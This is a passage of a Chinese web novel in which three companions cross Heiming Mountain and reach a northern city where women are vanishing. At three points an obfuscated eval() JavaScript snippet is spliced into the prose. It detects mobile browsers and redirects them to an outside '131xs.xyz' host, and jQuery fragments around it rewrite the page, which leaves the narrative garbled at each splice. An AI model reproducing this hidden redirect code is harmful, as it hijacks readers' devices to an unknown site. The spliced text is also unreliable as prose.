最后,他亦向她回礼,语气坚定道:“杨姑娘放心,沈某不会忘记当日的承诺。” - 三日后,天晴,宜出行。 三人各自拎着各自的行李,在客栈门口与蝶兰作最后的道别。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477718|185613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “真的不能再多留几日吗?”蝶兰紧紧攥着杨凛星的手,红了眼眶。 “我们只是暂时分开一段时间。”杨凛星捏了捏她的小肉手,柔声宽慰道:“以后还会再见面的。” 蝶兰追问道:“以后是什么时候。” 杨凛星不想骗她,只能摇了摇头:“这个我无法保证。” 蝶兰顿时急了,刚想再多说点什么,却被杨凛星提前打断: “我给你留了一份礼物,但也可能会是一份负担。” 蝶兰露出了疑惑的表情,杨凛星示意她附耳过来,低声对她说了几句,身旁的二人只能看见蝶兰瞬间瞪大的眼睛。 半晌,蝶兰才迟疑的开口:“你……就不怕我私藏吗?” 杨凛星轻笑,笃定道:“你不会的。” 玉璃好奇的凑了上去,八卦道:“凛星大人,林姐姐,你们在说些什么呀?” “秘密。” 玉璃皱起了眉头,不满的催促道:“什么秘密,告诉我。” 蝶兰双手叉腰,说道:“都说是秘密了,怎么能告诉你?” “什么呀,快点……” “玉璃。”沈灵泽在一旁轻声呵斥道:“不可打探女子私事。” 玉璃顿时焉儿吧了下来,诚恳道歉:“对不起,我错了。” 杨凛星揉了揉他柔软的头发,笑眯眯道:“没关系。我们玉璃真是个好孩子。” 蝶兰在一旁看着她们三人,左看右看,上看下看,越看越登对,越看越和谐,横竖都像是…… 她又一把将杨凛星拉了过来,凑到她耳边说了句什么,旁边二人只看见蝶兰兴奋的表情,以及杨凛星脸色一闪而过的惊讶和局促。 玉璃在一旁嘀咕道:“她们又在说什么好玩儿的,女子之间怎么这么多秘密呀?” 沈灵泽笑了笑,没有回答,杨凛星便已调整好表情向他们走来。 “出发吧。” 沈灵泽和玉璃异口同声道:“好。” “林姐姐,等我下次回来你要给我做好多好吃的呀!” “放心吧。”蝶兰笑骂道:“少不得你这小馋鬼的!” 沈灵泽上前一步,郑重向蝶兰作了一揖:“这些时日,多谢林姑娘对我们悉心照拂。” 蝶兰慌忙摆手道:“沈公子太客气了,举手之劳罢了。”,她的眼波在沈灵泽与杨凛星之间流转,随即又露出了一个意味深长的笑容,“沈公子,你可要努力呀。” 沈灵泽微微一怔,尚未反应过来蝶兰这句话里的深意,杨凛星就在一旁催促道:“走了走了。” 不明其意,沈灵泽也不好胡乱作答,但不回答又显得十分没有礼貌,于是只好保守的应道:“好。”,表示知道了。 在他说完这个字以后,杨凛星的脚步顿了一下,她走在最前方,没有人瞧见她面上复杂的表情。 三人的身影渐行渐远,蝶兰追出几步,还在不舍的朝他们高喊:“一定要再回来啊!” 杨凛星没有回头,前方等待她的,是吉凶未卜的漫漫长路,她没有退路,唯有向前。 9. 经黑鸣山 昭华国,西方部族,黑鸣山脚 “你确定真的是这个方向吗?”杨凛星抬头凝望眼前这座高耸入云,黑咕隆咚的大玩意儿,双腿有些打颤。 玉璃扭了扭身子,答道:“没错,我能感觉到三哥就在那里。” 杨凛星咽了咽口水,满脸写着:“救救我。” 这种山到底要怎么爬啊?! 她在现代的时候完全算是个肌无力患者,能走绝对不跑,能躺绝对不坐。来这儿以后,劳动能力比先前那是提升了不少档次,可也没说要挑战人类极限啊。 这山就算是在21世纪,也肯定只有经验丰富、装备齐全、热爱冒险的人才敢上去吧? 她真诚发问:“这山上没野兽吧?” 以她们的速度,肯定需要在山上过一夜,会不会睡到一半发现有只老虎在啃她的脚? “放心吧凛星大人,我会保护你的!” “在外多了,总有些经验。”沈灵泽轻笑道:“我会提前预判危险的。” 那意思就是说会有咯! 杨凛星的脸色一阵白一阵黑又一阵红的,来回挪动着小碎步,想说:“要不我们换条路。”,但转念一想,要是有别的路,玉璃也不会把她们带到这儿了。 最终,她深吸一口气,咬牙道:“走吧!” 她暗自念念碎道:“各位毛团祖师,虎老爷熊将军还有其他过路仙家精怪,我只是路过一晚,可千万别来找上我啊!” 走了不到一个时辰,杨凛星便已经气喘吁吁,落后于沈灵泽半步。她用袖子抹了把额间的汗渍,眼下她最羡慕的就是缠绕在沈灵泽颈侧的玉璃,有个现成的人形交通工具。 再反观沈灵泽,还是一副泰然自若、气定神闲的模样,不似在爬山,像是饭后消食散步。 不知为何,杨凛星莫名感到有些不爽,她憋着一口气,快步冲到了他们前面。 不出所料,她马上就听见了后方沈灵泽的温馨提醒:“杨姑娘,你走慢些,否则会更耗体力。” 闻言,杨凛星脚步一顿,转过来身来,居高临下的看着眼前的一人一蛇,没好气道:“我要休息了!” “好。”沈灵泽眼底闪过淡淡的笑意,“前面不到一百米有一处空地,我们今晚便在那歇脚,可好?” 杨凛星的神色不知为何有些不自然,她快速的点了下头,几乎让人察觉不到,然后便又转身向着沈灵泽所指的方向走去。 沈灵泽许是在外漂泊惯了,在野外生存这方面的确是经验老道。不多时他就利落的寻来了干柴,将火堆升起,然后又在10步外围起了一圈细绳,绳上缀着几枚小银铃。这样如果有外人或野兽靠近,铃声一响,她们马上就能收到示警。 山间的夜晚雾气深重,三人围着火堆聚在一起,有一搭没一搭的聊着。 “你从前也来过黑鸣山吗?” 沈灵泽点点头,“黑鸣山是西北的边界,想要在这两个部族之间经商往来,这里是必经之地。” “如何往来?往来何物?”这山这么难爬,又有凶兽出没,得多大的生意才值得冒这么大的险。 “西方地势开阔,水草丰美,最宜牧养牛羊;北方则土质肥沃,日照充足,乃是种植麦粟的良田。两地百姓各有所长,便以牛羊易谷物,以毛皮换盐铁,往来贸易已有数代之久。” 杨凛星恍然大悟,又有些感慨:“寻常百姓要带着如此沉重的货物过山,岂非更加辛劳危险?” “的确如此。”沈灵泽顿了顿,继续说道:“黑鸣山天险阻隔,人们一直在对它的路况进行改造,如今已经有一条可通商旅的路径,但仍是要耗费数日之久。正因如此,西北两地始终不似东南那般繁华,与王城相比,更是云泥之别。” 听到“王城”二字,玉璃便来了精神:“王城可漂亮了,我之前在那里住过好长一段时间!” 杨凛星还想再继续问点什么,沈灵泽却道:“夜深了,我们早些休息吧。” “今晚我和玉璃会轮流守夜。” 杨凛星问到:“那我呢?” 玉璃轻快的说道:“凛星大人好好就行就行啦,其实沈大哥也不用守夜的,我一直不睡觉也没问题。” 杨凛星眉心微蹙,沉吟片刻,说道:“这样不好,我也要守夜。” 既然是浪迹天涯,就该早点适应这样的状态,过于舒适不利于她成长。 在杨凛星的提议和教学下,她们用石头剪刀布的方式决定了今晚的顺序。 “那前半夜就拜托你了,沈公子” 沈灵泽微微颔首,杨凛星突然又从包裹里掏出一副用草纸包好的粉末,散发出一股奇异的味道。 他吸了吸鼻子,问到:“这是何物?” “我自己调配的驱兽粉。”杨凛星一边说一边四处撒,“鼻子灵敏的小动物都很讨厌这个味道,闻到了就不会主动来靠近我们了。” …… 片刻,她听见沈灵泽带着笑意说道:“看得出来,此物相当实用。” “嗯?”杨凛星不解问道:“你怎么知道?” 她才刚撒下去呢。 突然,她像是想起了些什么,抬头向一旁看去。 原本就在她身侧的玉璃早已不见踪影,逃窜到了十米开外,一双琥珀色的眸子泪光盈盈地望过来,满是惊恐与委屈,仿佛下一秒就要哭出声。 杨凛星:“……” 差点忘了,她们队里就有一只小动物呢。 杨凛星讪笑了两声,朝他朝了朝手:“玉璃,走那么远干嘛,快些过来。” “我不要!”玉璃的语气里无不透露着委屈:“凛星大人,你为什么要撒那么臭的东西。” “你是不是不喜欢我,想臭死我。” 嘿,这孩子,怎么就能攀扯到这上面去呢。 杨凛星全力展现出自遇到他以来最温柔的笑容:“怎么会呢,我只是一时忘记了。” 但这次无论她怎么说,玉璃都不肯过来了。 来回拉扯了几句,杨凛星耐心尽失,她故意敛了笑意,双手环臂,也不说话,就这样看着他。 玉璃被看的浑身毛毛的,直觉告诉他凛星大人虽然还在笑,但笑容的含义已经不一样了。 识时务者为俊蛇,玉璃赶紧扭扭捏捏的又挪了回去,一边走一边拿小眼神偷瞄杨凛星。 沈灵泽瞧他实在有趣的紧,笑着提议道:“玉璃若是不喜欢这气味,可以去杨姑娘歇息的那颗树上,爬高一些,想必就闻不到什么了。” “可是……”玉璃瞥了一眼那棵数,小心翼翼的表达自己的嫌弃:“那上面看上去好多湿哒哒、滑溜溜的东西,我不喜欢。” 杨凛星: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477719|185613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……”,这孩子还怪讲究的。 无奈,杨凛星只好拉着沈灵泽一起替他把那树干上的青苔刮了下来,理出了一条他能爬上去的小道。 “这样可以吗?”,再高了她们也够不着了。 好在玉璃这次没多说些什么,认命的到树上去了。 “好生休息,明天继续赶路。” - 不知睡了多久,玉璃从一股刺鼻的气味中醒来。 他的嗅觉实在是太灵敏了,尤其是在保持蛇身的时候。微风一起,那股臭味道便被吹的四处弥散,连带着林姐姐在梦里给他做的烧鸡都不香了。 他十分不爽利的翻腾了一阵,那股味道还是无法忽视,他索性想点儿别的事情转移一下注意力。 想来想去,玉璃能想到的只有杨凛星。 他想:“凛星大人正在守夜吗,还是在睡觉呢?要不下去看一看好了,可是下去的话更臭了。” 于是,他选择探出一颗小脑袋,向下望一望。 “咦——?”玉璃心中猛地一跳,因为下面居然没有杨凛星的身影! “凛星大人出事了”这个可能性在他脑海中一闪而过,他感到自己浑身的鳞片都倒立了起来。顾不上先前让他犹豫的那股臭气,玉璃飞一般的来到了地面。 沈灵泽安静的卧躺在不远处的另一颗树下,周围也没有任何打斗或野兽留下的痕迹,但就是不见杨凛星。 玉璃刚想上前叫醒沈灵泽,不远处的树丛却传来一阵窸窣响动。 他凝神细嗅,仔细分辨着风中交织的气息。循着那缕熟悉的味道悄然靠近,拨开层叠的枝叶,终于看到了杨凛星。 她在练习射箭。 疏落的月光穿过茂密的树冠,在她专注的侧脸上投下斑驳的光影。细密的汗珠沿着脸颊柔和的轮廓滑落,没入衣领,几缕发丝被汗水濡湿,贴在鬓边。 此时此刻,她身上没有半分世人惯常期许的温婉柔美,但那专注的身姿却自有一种动人心魄的力量。 玉璃正要开口叫她,有一只手却突然从身后捂住了他的嘴巴。 他一转头,对上了沈灵泽深邃的眼眸。 沈灵泽对玉璃摇了摇头,示意他不要出声。 玉璃茫然地看了他一眼,又望向杨凛星,面上第一次露出了极为复杂的神色。 二人回到火堆旁落座,静默无声。 良久,玉璃像是在问沈灵泽,又像是自言自语一般的说道:“为什么凛星大人要这么努力,她明明已经有我了……以后,她还会有更多,我们都会保护她,不是吗?” 沈灵泽没有回答他,玉璃也不在意,只是不断地重复道:“她不需要这样的。” “玉璃。”沈灵泽轻声打断,纠正道:“她需要的。” 玉璃的眼底漾满困惑:“为什么?” “因为她希望能够仰仗的是自己的力量,而非神器。”沈灵泽注视着他,“这是她的选择,你要尊重她。” “可是……我只是想保护她。” “嗯。”,我也是。 沈灵泽唇角泛起清浅笑意:“我想,这和她的想法并不冲突。” 玉璃低下头思索,沈灵泽没有再开口。 最后,玉璃用非常肯定的语气说: “不论凛星大人做什么,我都会支持她。” 10. 你在找我 第二天清晨,杨凛星看着玉璃眼下明显的乌青,百思不得其解。 “你不是不睡觉都可以吗?” 怎么灵兽也会失眠长黑眼圈儿呀? 玉璃同沈灵泽交换一个默契的眼神,闷声道:“昨晚我……” “我知道。”他话还没说完,就看到杨凛星略带歉意的朝他笑了笑,“昨晚你肯定被我那些驱兽粉熏得没睡好对吧?” 玉璃错愕的“啊”了一声,应也不是,不应也不是。 “抱歉啊,昨日是我考虑不周,害你受委屈了。” 杨凛星从包裹里将昨日剩下的那点驱兽粉拿了出来,重重的扔到了地下。 她像是哄小孩儿那般说道:“你不喜欢,我们以后都不带这玩意儿了!” 玉璃呆呆地望着地上的粉末,喉头像是被什么堵住,半晌无声。下一刻,他猛地扑上前,紧紧抱住了杨凛星。 杨凛星和沈灵泽都被他突如其来的举动吓了一跳。 玉璃将头埋很低,声音中甚至带上了哽咽:“凛星大人,有你实在太好了……” 杨凛星有点惊讶又有点想笑,暗自思忖:“这是给孩子感动到了?这么激动。” 她目光柔和下来,轻声安抚道:“好了好了。”一边说,一边伸手想要拍拍他的后背。 手刚抬起来,玉璃就被沈灵泽给提走了。 沈灵泽的身量比一般的成年男子都要高,再加上从小习武,臂力惊人。玉璃的人形不过15岁上下的少男,此刻红着眼眶,被他像提小鸡仔一般的提到了半空中,显得十分可怜又好笑。 “不可随意触碰女子。” 沈灵泽温和又不容置喙的声音从头顶上方传来,玉璃缩紧了脖子,猛吸了一把鼻涕。 杨凛星眼含笑意的问道:“我们大概还要多久能到望归城?” 沈灵泽将玉璃放下,答道:“不出意外的话,半个月内可达。” “那便启程吧。” 三人又花了将近一天的时间下山,总算瞧见了少许人烟,借着一位农妇家里休整一番后,继续赶路,跋山涉水,终于在第十三天的午时踏进了北方部族的都城。 行至城中,一座巨大的女娲神像玉立在此处,双眸微垂,目光仿佛穿透了岁月的烟尘,悲悯地凝视着脚下芸芸众生。 沈灵泽在一旁轻声道:“传闻,千年前女娲娘娘便是在北方部族的一处村落中找到了轩辕王。” 杨凛星静默的看着眼前端庄慈和的母神,说不清是什么感觉。 玉璃突然叫道:“母亲大人!父亲大人!” 杨凛星闻言一愣,顺着他的目光一看,这才注意到女娲身旁还缠绕着两只蛇。左边那只身修长矫健,覆盖着并非鳞片,而是层层叠叠、边缘锐利的暗金玄甲,蛇首昂然,破天而立。右边那只身姿流畅而优雅,与左边那只比稍显纤细,额心镶嵌着一颗泪滴状的湛蓝宝石,以琥珀色的琉璃珠代作眼眸,竟与玉璃有十之八九的相似。 这便是玉璃的父母了,女娲娘娘座下的灵兽。 杨凛星观察了一阵,暗道:“看来玉璃长得更像妈妈呢。” 长街之上,人声熙攘。杨凛星能清晰地感觉到,无数道目光从四面八方黏着在她身上,有的是对陌生面孔好奇的打量,也有被她容貌惊羡的注视,但更多的还是不怀好意的窥探。这让她感到脊背微僵,但依旧面色不改。 突然,一道沉稳的身影不着痕迹地侧身,恰好挡在了她与那些视线之间。 是沈灵泽。 他并未回头看她,姿态依旧从容,仿佛只是随意调整了下站位。然而,他那双平日温润的眸子,此刻却像淬了冰一样不着痕迹地扫过人群。目光所及之处,并无片刻停留,却满含无形的警告。 那几个目光最为放肆的汉子,甫一接触到他这轻描淡写的一瞥,心头皆是一凛。 沈灵泽这微微垂首,对身侧的杨凛星低语,声音温和如常:“此地有些不对劲。” “嗯。”杨凛星也察觉到了。 这都城规模宏大,街巷纵横,她们已在主道上走了许久,竟然没瞧见一个女子的身影,也难怪杨凛星站在这里会如此引人注目。 昭华国民风较为开放,女子读书、经商、抛头露面皆为常事,单看蝶兰便可知。没道理在北方最繁华的都会,女子反而都紧闭门户不出,绝迹于街市。 “我想,我们还是先找个客栈落脚,再细细打听一番。” 杨凛星点点头,正欲转身离去,却突然听见不远处传来阵阵悦耳的银铃声。 她朝着声音的方向望去,一辆华美异常的马车正缓缓驶来,车身以罕见的紫檀木制成,窗棂与檐角皆以金丝镶嵌出繁复的缠枝莲纹,在日光下流转着温润而奢华的光泽。 马车的四角悬挂着青鸟形态的饰品,鸟喙衔着一枚小巧的玉璧,璧身镂空,内嵌一枚小巧的金铃。清风拂过,玉璧轻叩,又糅杂着金铃细碎的“叮铃”之声,显得格外空灵动听。 “真有钱啊。”杨凛星暗叹。 她十分好奇这样的马车里会坐着什么样的人,于是又多看了一会儿。那马车停在了一家珠宝行,前后下来了两位聘婷身姿的少女,她们熟练的架起脚蹬,轻掀车帘,朝马车内说了句什么,随即,一道窈窕的身影缓缓自车内探出。 她身着一袭流霞锦裁成的广袖长裙,裙摆以金线绣着大朵大朵的缠枝牡丹,在日光下流光溢彩,发间斜插金步摇随着她的动作轻轻摇曳,肌肤胜雪,一看便知是养尊处优。 店外早有人恭候相迎,三人在的一前两后的走进内里。 杨凛星看了半晌,问道:“那是谁?” 好美,好有钱,好想认识。 “青鸟乃有娀氏一族印记。”沈灵泽目光掠过马车纹案,说道:“想必是有娀氏的亲眷。” 又是一位高门世家。女杨凛星恍然大悟:“难怪有如此容貌气派。” 为何这几位女子可以在大街上行动自如? 玉璃看了半天,说道:“凛星大人,你也很好看,很有气派呀!” 杨凛星挑了下眉,不置可否。 三人随便找了间客栈歇脚。 “一间房?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477720|185613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌柜抬眼问道。 沈灵泽答道:“两间。” 老板沉默的看了他们一眼,低声报了一个数。 杨凛星把钱递了过去,那老板接钱时,一双混浊的眼睛在她面上来回巡视。 三人不动声色的交换了眼神,都从中得到了一个信息: “大有问题!” 上楼时,玉璃凑近沈灵泽,小声道:“要不……我今晚在凛星大人房里休息吧?” 他顿了顿,又抬头望向沈灵泽,语气带着试探:“可以吗,沈大哥?” 杨凛星闻言一怔,她本不觉得这有什么,可这种事为什么要去征求沈灵泽的同意?!这算怎么回事?! 沈灵泽在这个问题上沉默了很长时间,一直到了门口都还未作答。 玉璃见他不说话,这才转头问起杨凛星来:“凛星大人,我可不可以……” “不可以!”不等他说完,杨凛星便瞪了他一眼,这小蛇现在才想起来问她,真真儿是忘本了。 她丢下一句“各睡各的”,随即利落地转身,“砰”的一声将房门关紧。在门扉即将完全合拢的刹那,还不忘又狠狠瞪了沈灵泽一眼。 被关在门外的二人一时相对无言,静默了半晌,玉璃才茫然地挠了挠头,嘟囔道:“为什么我感觉……凛星大人好像生气了?” 沈灵泽望着那扇紧闭的房门,轻轻叹了口气,低声道:“这种事情,下次要先问女子的意见。” 玉璃似懂非懂地“哦”了一声,随即又困惑地看向他:“那你方才怎么不提醒我?” 沈灵泽闻言,缓缓垂下眼眸,再度陷入了沉默。 因为他藏着一点私心。他怕自己一旦出声提醒,杨姑娘或许……真的会点头应允。 这种事情,他无法告诉玉璃。 - 自踏入望归城内的那一刻起,杨凛星便一直感觉有道目光如影随形。 原先以为是来自街道上那群无礼的男子,可此时她一人窝在被子里,那种异样的感觉还是没有消散。但她又没感觉到这凝视有什么杀意或邪念,只是单纯的看着自己。 杨凛星烦躁地翻了个身,将脸埋进枕头里,心里忍不住嘀咕:“真是活见鬼了,难道这鬼地方也有摄像头吗?” 好在她向来心宽,适应能力更是出类拔萃,这点儿小事根本影响不到她的睡眠,很快呼吸就变得平稳,沉沉睡去了。 半夜,一道深沉黑影悄无声息地滑入房内。他的动作极慢,极轻,每一步落下都经过漫长的停顿,以确保脚下的木板不会发出任何吱呀的声响。他的目光迅速扫过昏暗的房间,最终精准地锁定了内室床榻上,锦被下隐约透出人影。 没有半分犹豫,他疾步上前,猛地掀开锦被。 被底竟空空如也! 余温未散,被褥有明显的褶皱,证明着此处的确曾有人安寝。可人去哪了呢? 那黑影的动作骤然僵住,露出的双眼中,瞳孔猛地收缩。 身后,一道冰冷的低语,几乎贴着他的耳畔响起: “你在找我吗?” 11. 扰人清梦 杨凛星倚靠在墙边,似笑非笑的看着方桌前那位正气定神闲品茶的少女。 没想到自个儿白天刚说句了想认识,到了晚上人就自动送上门来了。 半夜三更,异乡独寝,前有歹人意图不轨,后又有权贵不请自来,她这小小一间客房,现在转个身都要担心会不会撞到人。 清梦被扰,杨凛星心中一阵不快。她瞥了眼地上半死不活的人,早在察觉有人潜入时,她便已藏好,本打算先用迷魂散将人放倒,待药效过后再细细审问。岂料她还未动手,一个会武功的姑娘便破门而入,二话不说一脚将这歹人踹倒在地。 “不会是死了吧?”杨凛星微微蹙眉。 她实在没耐心继续等下去了,开口询问道:“你们到底想干什么?” 她的目光在对面人的脸上来回扫过,面孔并不算陌生,就是昨日刚到望归城时见到的从那华丽马车上下来的三位少女。 主位上的人听到她的话连眼皮子都没掀一下,好半晌,她身旁着绿衣的女子才微微欠了一身开口道: “这位是有娀氏的大小姐。” 这句是废话,她早就知道了。 “我们小姐正在查案,还请姑娘配合。” 查案? 哈…哈哈哈哈哈哈,大晚上的真是给杨凛星整笑了,心道:“你不说她是来查案,我还以为她上我这儿来参加宴席呢。” 她强压下心中的那点怒火,没好气道:“眼下此人被你们弄成这样,还能怎么查?” 大小姐茶终于喝够了,不紧不慢的看了杨凛星一眼,这一眼不包含任何情感,显然是没把她放在心上。 “将此人带回去。” 那名会武功的少女应声而动,朝着地上那人走去,半路却被杨凛星给拦了下来。 “有娀小姐,你半夜不请自来,二话没说就要从我这里把人带走,不太妥当吧?” 大小姐眉梢微挑:“怎么,你认识他?” “不认识。”杨凛星回答得干脆,随即话锋一转,“但此人方才欲对我不利,我总有权了解一下事情的真相吧?” “你不必了解。”大小姐款款起身,指尖优雅的拂过衣衫,“此事不是你能过问的。” 她的目光在杨凛星身上流转一周,见她除了容貌出挑些,身形单薄,气息平常,分明是个手无缚鸡之力的寻常女子。 杨凛星很敏锐的察觉到自己是被对方看不起了,说话也变得不客气起来:“我竟不知世家大族的小姐也爱在半夜行些偷鸡摸狗之事,莫非有娀氏的家风就是如此?” 不知这句话中的哪个词踩中了这位大小姐的雷点,只见她们主仆三人都齐齐变了脸色。 “你……好大的胆子!阿香!” 被点名的侍女一跃而上,欲将杨凛星拿下,就突然感觉脊背一凉,仿佛有一种被什么东西锁住喉管的窒息感。 习武者的本能告诉她,这屋内一定还有其他人! 趁着她愣神的半秒,杨凛星迅速掏出早就藏在袖中的迷魂散,精准地朝前一撒。阿香瞳孔骤缩,急忙掩住口鼻飞身后退,却终究晚了一步。强烈的晕眩感瞬间袭来,她只觉得天旋地转,随即浑身瘫软,无力地倒在了地上。 “阿香!”另一位侍女急忙将她揽住,大小姐也被这突如其来的变故惊得花容失色,她快步上前,确认阿香无碍后,立刻转向杨凛星,质问道:“那是什么东西?!” “无解之毒。”杨凛星故意吓唬她。 “你!” 门外骤然响起玉璃清脆而焦急的呼喊,由远及近:“凛星大人!出什么事儿了?” 估摸着是听见了什么动静赶了过来,他醒了,那沈灵泽定然也一同过来了。 她扬声道:“进来吧。” 门一开,杨凛星便对上了沈灵泽那双温润又关切的眼眸,她微微颔首,表示自己没事。 玉璃环顾四周,惊讶道:“怎么回事,怎么这么多人?” 杨凛星也想问:“怎么这么多人?挤死了!” 就这么片刻工夫,阿香已经若无其事地站起身来。杨凛星也不意外,她本就没下重手,再加上阿香习武,身体素质比普通人要强,这点儿药效对她来说自然不算什么。 杨凛星刚想开口解释一下目前的情况,大小姐就已经先下口为强: “你这人怎么如此不识好人心,我们好心救你,你居然对我的侍女下毒?!” 杨凛星猝不及防的被指责,到嘴边的话噎了一下,反问道:“何出此言?” 不是来查案吗,怎么又变成好心救她了? 大小姐满脸怒容:“若不是我们及时赶到,你早就被地上这人给绑走发卖了……你!你不是恩将仇报又是什么?!” 杨凛星淡定的回了一声:“哦。”随后她郑重的行了一礼,坦言道:“在下十分感谢三位侠女出手相助。但你们深夜造访却又不说清原由,实在让人难安,我是不得已才出此下策。你的侍女并非中毒,只是吸入了一点迷魂散,此刻药效应当是过去了。” 大小姐有些怀疑,侧身问道:“阿香,你……” “阿云,你正对面那位小生好生俊俏啊。” “我瞧着你对面那位才是惊艳绝伦呢。” “哎哟,真有男子气概,两个都很不错呢~” “你喜欢哪一个?” “我都很喜欢呢!” 大小姐:“……” 杨凛星:“……” 玉璃听不大懂她们话里的意思,没什么太大反应。沈灵泽则宛如一尊雕塑般立在那里,目不斜视,凝神屏气,仿佛被人议论的全然不是自己。 大小姐的火气立马转移了对象:“你们两个有没有眼光?这种乳臭未干的毛头小子到底哪里好看了?!”说完,她略带嫌弃的看了玉璃和沈灵泽一眼。 阿香和阿云一时语塞。 玉璃听不懂她们那些复杂的成语,但看得懂那嫌弃的眼神啊!野兽的直觉告诉她这位漂亮姐姐是在说他坏话,立马开口辩驳道:“你才不好看呢!” 杨凛星在心里默默点头,玉璃行为举止或许还尚有些幼稚天真,可沈灵泽虽年轻沉稳可靠的气度,怎么也不像她口中所说的“乳臭未干的毛头小子”。 分明俊的很。 大小姐见她的两位侍女一脸不以为然,瞪着她们道:“男人要过三十岁才叫男人,这种年轻小伙子都该靠边儿站。” 虽说审美是个人喜恶,但杨凛星还是对这位大小姐的话 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望归城中不见女子身影,并非是闭门不出,而是全都被…… 这个猜测让她感到头皮发麻,寒意自脚底窜遍全身。 待回过神来,她也一跃上前狠狠给了他一巴掌,揪着他的衣领恶狠狠道:“快说!不然就把你剁了拿去喂狗!” 方才还剑拔弩张的两位,此刻便已默契的统一了战线。 小喽啰一边哭一边喊道:“我不知道!我不知道!我今儿也是头一回干这事儿,就被你们给捉住了…前面那些女人真的不是我做的,真的不是我呀!” 二人交换了一个神色,杨凛星继续追问道:“那雇佣你的人是谁?姓甚名谁?现在何处?” “我、我不知道。”小喽啰怕的牙齿止不住的打颤:“那人不与我直接碰面,而是在特定的地方放字条,我按照字条上写的去做。” “字条呢?” “烧、烧了。” 杨凛星眉心紧蹙,没想到这群人做事儿还挺谨慎。 “如果今晚你得手,准备我送到哪去?” “打、打铜巷,那儿有家小面馆,给钱的人、让我把货送到那里。” “啪!”又是清脆的一巴掌,下了十足的力。 沈灵泽无意识的皱紧了眉心,朝杨凛星刚才用的那只手看去,果然瞧见了一片通红。 杨凛星甩了甩手,居高临下的看着他骂道:“蠢货。” 沈灵泽沉声问:“他们为什么要抓那些女子?” “我、我知道的只有这么多了,我只是想赚点银子活命,我知道的全都告诉你们了啊!” 杨凛星感觉自己的太阳穴突突直跳,闹了大半夜就得到了这么点信息。光知道人不见了不知道去哪找,真真儿是令人揪心。 “我知道。”一直沉默的大小姐忽然开口,声音冷得像结了冰。 闻言,杨凛星这边儿的三人齐齐转头望去,只见她面覆寒霜,眸中翻涌着深不见底的怒涛,一字一顿道: “她们一定是被卖去了瀛御国。” 12. 附属小国 “瀛御国?” 怎么会有国家起这么个名字,听起来也太那个了吧。 “瀛御国是临近南方部族的一个小国,疆域不足昭华国的五分之一。”沈灵泽在一旁淡淡解释道:“上一任国主在位时,瀛御国还是昭华国的一个附属国。” 杨凛星眉角微微上挑,上一任国主在位时——那意思就是说现下已然不是咯? “瀛御国的军队屡屡进犯南方边境,幸有百里将军领十五万大军全力镇守。”说完,沈灵泽侧身看向大小姐,“不知有娀小姐为何如此肯定是瀛御国所为?” 众人的视线再度聚焦于大小姐身上。只见她面色发白,咬牙切齿道:“这还用问吗,难道会有自己人害自己人的?” 玉璃立马反驳道:“怎么没有,这个人不就是吗!” 大小姐一时语塞,只得恨恨道:“此人不过是个帮凶,幕后主使一定是瀛御国的人!” “这还真不一定。”杨凛星在心里暗自琢磨着,“拐卖人口多是熟人作案。” 只是这位大小姐语气如此肯定,却又拿不出什么实质性的证据,倒叫人不知是该信还是不该信。 屋内气氛一时有些凝滞,门外忽然响起叩门声。 “客官,有贵人到访。” 杨凛星闻言一怔,又有贵人?这望归城里贵人遍地,还偏都挑这深更半夜往她这儿来! 房门打开,一位气度雍容的中年男子面带焦灼,快步迎上前。大小姐身侧的两位侍女立即垂首敛襟,恭敬行礼。 “阿彩,你可叫我好找!” 大小姐的面色在见到他时有一瞬间的慌乱,随即规规矩矩地行了一礼,轻声唤道:“小叔叔…” 来人将她从头到脚仔细端详一番,见她毫发无伤,紧绷的神色才缓和下来。 “阿彩,你可还记得前几日答应过我什么?你实在太不懂事了!”他虽气恼,确实在是拿这个侄女儿无可奈何,只能把气撒在两个侍女身上,“让你们好好护着小姐,你们就纵着她这样胡闹?我看是得狠狠罚你们一通才行!” 闻言,阿香和阿云“扑通”一声跪了下去,也不求饶,一副听凭处置的模样。 “不要!”大小姐连忙替她们求饶:“小叔叔,不关她们的事,是我逼她们来的!因为我发现了那群掠拐女子贼人的踪迹……” 她伸手指向地上那人:“就是这个人,他今晚差一点就要掳走这位姑娘!” 男子的目光在她提及的二人身上不着痕迹地一转,眼底掠过一抹极难察觉的厉色。他随即轻叹一声,语气中带着责备与关切:“即便如此,你也不该深夜只带着两个侍女就擅自行事,你若出了事,教我如何给嫂嫂交代,百年之后又有何颜面去见大哥?” 男子一搬出她的父母,大小姐那点气焰如同被刺破的气球,顷刻间散了。 男子见她可算老实了下来,这才有空将目光转向至在场的其他人。 “这位姑娘,可曾受惊?” 